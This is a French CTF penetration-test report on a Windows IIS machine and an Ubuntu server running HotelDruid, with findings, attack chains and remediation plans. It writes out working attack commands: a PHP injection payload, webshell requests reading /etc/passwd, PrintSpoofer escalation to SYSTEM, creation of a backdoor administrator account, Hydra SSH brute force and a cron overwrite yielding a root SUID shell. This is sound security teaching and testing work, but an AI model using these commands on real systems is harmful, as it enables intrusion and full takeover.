Contexte - Rapport consolidé sur deux machines, réalisé dans le cadre d’un exercice CTF autorisé. Type de test : boîte noire (black box) · Date : 15 janvier 2026 · Version : v1.0

MachineCibleSystème
Partie 110.8.0.4Windows
Partie 210.8.0.5Ubuntu Hotel

Total : 5 vulnérabilités critiques, 1 haute.


Partie 1 - Machine Windows (10.8.0.4)

1. Résumé exécutif

Ce document présente les résultats du test d’intrusion réalisé sur la machine Windows (10.8.0.4). L’objectif était d’identifier les vulnérabilités de sécurité présentes et de démontrer l’impact potentiel d’une compromission complète du système.

Le test a révélé des failles critiques permettant une compromission complète du système, incluant l’accès initial via un formulaire d’upload non sécurisé et une escalade de privilèges vers le compte SYSTEM (niveau de privilège maximum sur Windows).

1.1 Synthèse des résultats

Niveau de criticitéNombre
Critique2
Haute0
Moyenne0
Basse0

1.2 Recommandations principales

  1. Désactiver ou sécuriser immédiatement le formulaire d’upload exposé sur /upload.aspx en production.
  2. Restreindre le privilège SeImpersonatePrivilege pour le compte IIS AppPool.
  3. Implémenter une validation stricte des fichiers uploadés (liste blanche d’extensions, analyse antivirus).
  4. Désactiver le service Print Spooler si non utilisé, ou limiter son accès.

2. Méthodologie

Le test d’intrusion a été réalisé selon une méthodologie structurée basée sur le PTES (Penetration Testing Execution Standard).

2.1 Reconnaissance

Collecte d’informations sur la cible via un scan Nmap complet pour identifier les services exposés et les versions logicielles :

nmap -A -T4 -p- 10.8.0.4

Ports ouverts découverts : 80 (HTTP), 139/445 (SMB), 5985 (WinRM). Le service HTTP correspond à Microsoft IIS 10.0.

2.2 Scan et énumération

Identification des services actifs, énumération des utilisateurs et des partages, fuzzing de répertoires web avec dirsearch. La page upload.aspx a répondu avec un code HTTP 200 (OK) :

dirsearch -u http://10.8.0.4

[Status: 200] /upload.aspx

2.3 Analyse des vulnérabilités

Le formulaire d’upload ne présente aucune restriction. Un webshell (shell.aspx) a pu être uploadé, permettant l’exécution de commandes arbitraires à distance. Le formulaire affiche même l’avertissement « Upload form test, DO NOT push in production ».

2.4 Exploitation

Exploitation du webshell pour obtenir un accès initial avec les privilèges du compte IIS AppPool. Injection d’un PrintSpoofer pour abuser des droits d’impersonation :

C:\inetpub\wwwroot\Uploads\PrintSpoofer64.exe -i -c "whoami"

La vérification via whoami /priv confirme que SeImpersonatePrivilege est Enabled.

2.5 Post-exploitation

Escalade de privilèges via l’exploitation de SeImpersonatePrivilege avec PrintSpoofer, obtention du compte SYSTEM :

C:\inetpub\wwwroot\Uploads\PrintSpoofer64.exe -i -c "whoami"
# => nt authority\system

Recherche des fichiers flags sur la machine compromise :

PrintSpoofer64.exe -i -c "cmd.exe /c dir C:\*.txt /s /b | findstr /i flag"

Récupération du contenu du flag Administrator :

PrintSpoofer64.exe -i -c "cmd /c type C:\Users\Administrator\Desktop\flag.txt > C:\inetpub\wwwroot\Uploads\flag_output.txt"
# => OS{BIEN JOUE !}

Création d’un compte administrateur et connexion via evil-winrm pour contrôle complet :

PrintSpoofer64.exe -i -c "net user hacker Password123! /add"
PrintSpoofer64.exe -i -c "net localgroup Administrators hacker /add"
evil-winrm -i 10.8.0.4 -u hacker -p Password123!

3. Périmètre du test

Test effectué dans le cadre d’un exercice CTF (Capture The Flag) autorisé.

3.1 Cibles

IP cible10.8.0.4
SystèmeServeur Windows avec IIS 10.0
Services ciblésHTTP (80), SMB (139/445), WinRM (5985)

3.2 Type de test

TypeBoîte noire
Information initialePlage IP 10.8.0.0/24 uniquement
ObjectifCompromission complète et récupération du flag Administrator

4. Résultats détaillés

4.1.1 Formulaire d’upload non sécurisé exposé en production

  • Criticité : CRITIQUE
  • Système affecté : Windows (10.8.0.4) - IIS 10.0 - /upload.aspx

Description - Un formulaire d’upload de fichiers accessible publiquement a été découvert à l’URL /upload.aspx. Ce formulaire permet l’upload de fichiers sans aucune validation ni restriction, et affiche même un avertissement « DO NOT push in production ». Le répertoire de destination (C:\inetpub\wwwroot\Uploads\) est accessible directement via le web.

Impact

  • Exécution de code arbitraire sur le serveur
  • Compromission complète du système via upload de webshell
  • Vol de données sensibles

Preuve de concept (PoC)

  1. Découverte via fuzzing : dirsearch[Status: 200] /upload.aspx
  2. URL : http://10.8.0.4/upload.aspx
  3. Répertoire accessible : http://10.8.0.4/uploads/ (directory listing activé)

Remédiation

  1. IMMÉDIAT : supprimer ou désactiver /upload.aspx en production.
  2. Implémenter une liste blanche stricte d’extensions autorisées (.pdf, .docx).
  3. Scanner tous les uploads avec un antivirus avant stockage.
  4. Stocker les uploads hors du webroot (ex : D:\Uploads\).
  5. Désactiver l’exécution de scripts dans le répertoire d’uploads.
  6. Ajouter une authentification forte sur la fonctionnalité d’upload.

4.1.2 Escalade de privilèges via SeImpersonatePrivilege (PrintSpoofer)

  • Criticité : CRITIQUE
  • Système affecté : Windows (10.8.0.4) - Compte IIS AppPool avec SeImpersonatePrivilege

Description - Le compte IIS AppPool (iis apppool\defaultapppool) possède le privilège SeImpersonatePrivilege activé. Ce privilège permet à un processus de se faire passer pour un autre utilisateur, y compris SYSTEM. En exploitant ce privilège avec PrintSpoofer (déjà présent sur le serveur), il est possible d’escalader vers NT AUTHORITY\SYSTEM.

Impact

  • Compromission totale du système - accès au compte SYSTEM
  • Contrôle complet sur tous les fichiers, processus et services
  • Flag Administrator récupéré : OS{BIEN JOUE !}
  • Dump des hashs de mots de passe (SAM/SYSTEM)
  • Installation de backdoors persistantes

Preuve de concept (PoC)

whoami /priv                          => SeImpersonatePrivilege Enabled
PrintSpoofer64.exe -i -c "whoami"     => nt authority\system
Flag                                  => OS{BIEN JOUE !}

Remédiation

  1. Retirer SeImpersonatePrivilege au compte IIS AppPool.
  2. Désactiver le service Print Spooler si non utilisé.
  3. Utiliser un compte de service dédié avec privilèges minimaux.
  4. Activer Windows Defender Application Control (WDAC).
  5. Patcher régulièrement Windows et IIS.

5. Plan de remédiation

VulnérabilitéCriticitéDélai recommandé
Formulaire d’upload non sécurisé (/upload.aspx)CritiqueIMMÉDIAT (< 24h)
Escalade privilèges via SeImpersonatePrivilegeCritiqueCourt terme (< 1 sem.)

5.1 Actions immédiates

  • Désactiver /upload.aspx ou restreindre l’accès par authentification forte.
  • Changer tous les mots de passe des comptes Administrator et de service.
  • Vérifier les logs IIS pour identifier toute activité suspecte antérieure.
  • Rechercher d’autres backdoors (comptes non autorisés, tâches planifiées malveillantes).

5.2 Actions à court terme

  • Retirer SeImpersonatePrivilege au compte IIS AppPool.
  • Implémenter une validation stricte des uploads (liste blanche, analyse antivirus).
  • Déplacer les uploads hors du webroot.
  • Désactiver l’exécution de scripts dans le répertoire d’uploads.

6. Conclusion - Partie 1

Le test d’intrusion réalisé sur la machine Windows (10.8.0.4) a révélé des vulnérabilités critiques permettant une compromission complète du système en quelques étapes. La posture de sécurité actuelle est critique.

6.1 Chaîne d’attaque complète

ÉtapeAction
1 - ReconnaissanceScan nmap → découverte IIS 10.0 sur le port 80
2 - ÉnumérationFuzzing web avec dirsearch → découverte /upload.aspx
3 - Accès initialUpload du webshell shell.aspx → exécution de commandes en tant que IIS AppPool
4 - Escalade de privilègesExploitation SeImpersonatePrivilege avec PrintSpoofer → NT AUTHORITY\SYSTEM
5 - Objectif atteintRécupération du flag Administrator : OS{BIEN JOUE !}

7. Annexes - Partie 1

7.1 Outils utilisés

OutilUsage
Nmap 7.94Scan de ports et énumération de services
dirsearch / ffufFuzzing de répertoires web (wordlist common.txt)
curlTests HTTP et interaction avec le formulaire d’upload
enum4linuxÉnumération SMB (tentative - accès refusé)
Navigateur webInteraction avec le webshell shell.aspx
PrintSpoofer64.exeExploitation du privilège SeImpersonatePrivilege
evil-winrmConnexion WinRM après création du compte Administrator

Partie 2 - Ubuntu Hotel (10.8.0.5)

1. Résumé exécutif

Ce document présente les résultats du test d’intrusion réalisé sur le serveur Ubuntu Hotel (10.8.0.5). Le test a révélé des failles critiques permettant une compromission totale du serveur, depuis l’accès initial via une application web hôtelière vulnérable (HotelDruid) jusqu’à l’élévation de privilèges vers le compte root via un script cron modifiable.

1.1 Synthèse des résultats

Niveau de criticitéNombre
Critique3
Haute1
Moyenne0
Basse0

1.2 Recommandations principales

  • Mettre à jour HotelDruid vers une version corrigée et valider strictement les paramètres d’entrée (notamment tipo_tabella).
  • Désactiver l’accès anonyme au service FTP ou restreindre les fichiers accessibles.
  • Imposer une politique de mots de passe robustes (l’utilisateur hotel utilisait le mot de passe superman).
  • Restreindre les droits d’écriture sur le script de maintenance /srv/auto_update.sh au seul utilisateur root.

2. Méthodologie

Méthodologie basée sur le PTES, avec accès VPN au réseau cible (contexte black box). Aucune documentation ni aide préalable n’a été fournie.

2.1 Reconnaissance

sudo nmap -sC -sV -Pn 10.8.0.5

Résultats : ports 21 (FTP vsftpd 3.0.3), 22 (SSH OpenSSH 7.6p1), 80 (HTTP Apache 2.4.29), 111 (RPC). Le service FTP autorise la connexion anonyme et expose un fichier PDF.

2.2 Scan et énumération

Connexion FTP anonyme pour récupérer le fichier Hotel Paradise Welcome Internship.pdf. Découverte de l’interface HotelDruid sur http://10.8.0.5/hoteldruid/inizio.php.

2.3 Analyse des vulnérabilités

Panneau d’administration HotelDruid accessible avec des identifiants faibles. Le paramètre tipo_tabella de l’endpoint visualizza_tabelle.php s’avère vulnérable à une injection de code PHP (RCE).

2.4 Exploitation

Injection d’un payload PHP pour créer un webshell, puis attaque par force brute SSH avec Hydra :

curl -s "http://10.8.0.5/hoteldruid/dati/selectappartamenti.php?shell=cat%20/etc/passwd"

hydra -l hotel -P /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt ssh://10.8.0.5 -t 4

2.5 Post-exploitation

Découverte d’un script /srv/auto_update.sh exécuté par root via cron, modifiable par l’utilisateur hotel. Modification pour créer un binaire bash SUID :

cat > /srv/auto_update.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/benbecomeroot && chmod 4777 /tmp/benbecomeroot
EOF

/tmp/benbecomeroot -p   # whoami => root

3. Périmètre du test

3.1 Cibles

IP cible10.8.0.5
SystèmeServeur Ubuntu avec Apache, FTP et application HotelDruid
Services ciblésFTP (21), SSH (22), HTTP (80)

3.2 Type de test

TypeBoîte noire (black box)
Information initialeAccès VPN uniquement, aucune documentation fournie
ObjectifCompromission complète et obtention du compte root

4. Résultats détaillés

4.1.1 Injection de code PHP (RCE) via HotelDruid - CVSS 9.8

  • Criticité : CRITIQUE (CVSS 9.8)
  • Système affecté : Ubuntu Hotel (10.8.0.5) - HotelDruid / visualizza_tabelle.php
  • Type : CWE-94 - Code Injection (Remote Code Execution)

Description - Le paramètre tipo_tabella du formulaire de création de chambre n’est pas assaini. En injectant du code PHP, un attaquant génère un fichier PHP exécutable sur le serveur permettant d’exécuter des commandes système arbitraires.

Preuve de concept (PoC)

Payload : ${system($_REQUEST[cmd])}
http://10.8.0.5/hoteldruid/dati/selectappartamenti.php?shell=whoami
=> www-data

Remédiation

  1. Mettre à jour HotelDruid vers la dernière version corrigée.
  2. Valider et assainir strictement tous les paramètres d’entrée.
  3. Désactiver eval() et les fonctions d’exécution système si non nécessaires.

4.1.2 Politique de mots de passe faible - CVSS 9.1

  • Criticité : CRITIQUE (CVSS 9.1)
  • Système affecté : Ubuntu Hotel (10.8.0.5) - SSH (port 22) et HotelDruid
  • Type : CWE-521 - Weak Password Requirements

Description - Deux comptes utilisaient des mots de passe triviaux : admin HotelDruid (admin:BestParadise278, deviné via le PDF FTP) et utilisateur SSH hotel (hotel:superman, trouvé par force brute Hydra en quelques minutes).

Preuve de concept (PoC)

hydra -l hotel -P rockyou.txt ssh://10.8.0.5 -t 4
=> [22][ssh] host: 10.8.0.5 login: hotel password: superman

Remédiation

  1. Imposer des mots de passe d’au moins 12 caractères complexes (ANSSI).
  2. Mettre en place fail2ban pour bloquer les attaques par force brute SSH.
  3. Désactiver l’authentification par mot de passe SSH au profit des clés.

4.1.3 Permissions excessives sur un script cron système - CVSS 7.8

  • Criticité : HAUTE (CVSS 7.8)
  • Système affecté : Ubuntu Hotel (10.8.0.5) - Script /srv/auto_update.sh
  • Type : CWE-732 - Incorrect Permission Assignment for Critical Resource

Description - Le script /srv/auto_update.sh est exécuté régulièrement par root via cron, mais ses permissions permettent à l’utilisateur hotel de le modifier. Un attaquant peut y injecter des commandes arbitraires qui seront exécutées avec les privilèges root.

Preuve de concept (PoC)

cp /bin/bash /tmp/benbecomeroot && chmod 4777 /tmp/benbecomeroot
/tmp/benbecomeroot -p   # => euid=0(root)

Remédiation

  1. Restreindre les droits d’écriture sur /srv/auto_update.sh au seul root (chmod 700).
  2. Auditer régulièrement les permissions des scripts exécutés par cron.

5. Chaîne d’attaque complète

ÉtapeAction
1 - FTP anonymeRécupération du fichier Hotel Paradise Welcome Internship.pdf exposant des informations sur l’établissement
2 - Credential guessingIdentification des identifiants admin HotelDruid : admin:BestParadise278
3 - Injection PHP (RCE)Création d’un webshell via tipo_tabella → exécution de commandes en tant que www-data
4 - Mouvement latéral SSHLecture de /etc/passwd via le webshell, puis brute force SSH → connexion en tant que hotel (superman)
5 - RootModification du script cron /srv/auto_update.sh → shell root obtenu via binaire SUID

6. Conclusion - Partie 2

Le serveur Ubuntu Hotel (10.8.0.5) présente un niveau de sécurité insuffisant. La combinaison d’une application web non patchée, de mots de passe triviaux et d’une gestion défaillante des permissions système a permis d’atteindre la compromission totale (root) en partant d’un simple accès réseau VPN.

Il est fortement recommandé d’appliquer immédiatement les remédiations décrites, en priorité la mise à jour de HotelDruid, le renforcement de la politique de mots de passe et la correction des permissions cron.

6.1 Plan de remédiation prioritaire

VulnérabilitéCriticitéDélai recommandé
Injection PHP RCE via HotelDruid (tipo_tabella)CritiqueIMMÉDIAT (< 24h)
Politique de mots de passe faible (hotel:superman)CritiqueIMMÉDIAT (< 24h)
Permissions excessives sur /srv/auto_update.shHauteCourt terme (< 1 sem.)
Accès FTP anonyme exposant des informationsHauteCourt terme (< 1 sem.)

6.2 Outils utilisés

OutilUsage
NmapScan de ports et énumération de services (-sC -sV -Pn)
Navigateur / curlAccès à HotelDruid, exploitation du webshell PHP
HydraAttaque par force brute SSH (wordlist rockyou.txt)
FTP clientConnexion anonyme et récupération du fichier PDF
Shell bashExploitation de la tâche cron et escalade root

loulouby · 15 janvier 2026